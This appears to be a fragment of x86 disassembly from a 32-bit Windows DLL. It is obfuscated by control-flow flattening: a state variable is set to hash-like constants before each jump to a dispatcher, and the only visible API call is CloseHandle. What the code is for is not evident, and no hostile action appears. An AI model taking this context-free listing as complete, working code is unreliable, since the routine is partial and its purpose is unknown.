mov eax, dword [eax]
mov dword [eax], 0x10007
mov dword [ebp - 0x134], 0x3db17e28
jmp 0x1000784c
mov dword [ebp - 0x134], 0xeb555da8
jmp 0x1000784c
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x134], 0x14f88db8
jmp 0x1000784c
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100037f0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x134], 0x4920a837
jmp 0x1000784c
mov eax, dword [ebp - 0xf0]
mov dword [eax], 0
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0
mov dword [ebp - 0x134], 0x8c1464ff
jmp 0x1000784c
mov dword [ebp - 0x134], 0x3fd70bf9
jmp 0x1000784c
mov dword [ebp - 0x134], 0x903f7487
jmp 0x1000784c
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x134], 0x5cdb16b0
jmp 0x1000784c
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x134], 0xdc346268
jmp 0x1000784c
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x134], 0xde7771b5
jmp 0x1000784c
mov dword [ebp - 0x134], 0xd7ad1d4f
jmp 0x1000414f